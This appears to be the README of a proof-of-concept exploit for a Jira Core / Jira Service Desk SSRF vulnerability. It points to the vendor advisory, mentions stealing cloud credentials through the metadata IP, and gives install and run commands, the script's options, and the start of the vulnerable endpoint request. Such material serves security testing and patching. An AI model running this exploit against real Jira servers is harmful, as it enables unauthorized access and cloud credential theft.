Jira Core & Jira Service Desk are vulnerable to server-side request forgery after authenticating. In some cases, it is possible to leverage open sign ups in Jira Core or Jira Service Desk to exploit this server-side request forgery flaw without having known credentials.
The SSRF vulnerability allows attackers to send HTTP requests using any HTTP method, headers and body to arbitrary URLs. When Jira is deployed on a cloud environment, an attacker can leverage this exploit chain to obtain cloud credentials or other sensitive information through the metadata IP address.
As per the advisory from Atlassian, please see the following knowledge base article to confirm if you are running an affected software version: https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
and then you can use the exploit using:
python3 exploit.py
Help:
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. admin@example.com - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
If you already have credentials for Jira / Jira Service Desk, then set the --mode to manual and the --software argument to either jira or jsd.
The following HTTP request can be used to reproduce this issue, once authenticated to the Jira instance:
POST /rest/nativemobile/1.0/batch HTTP/2
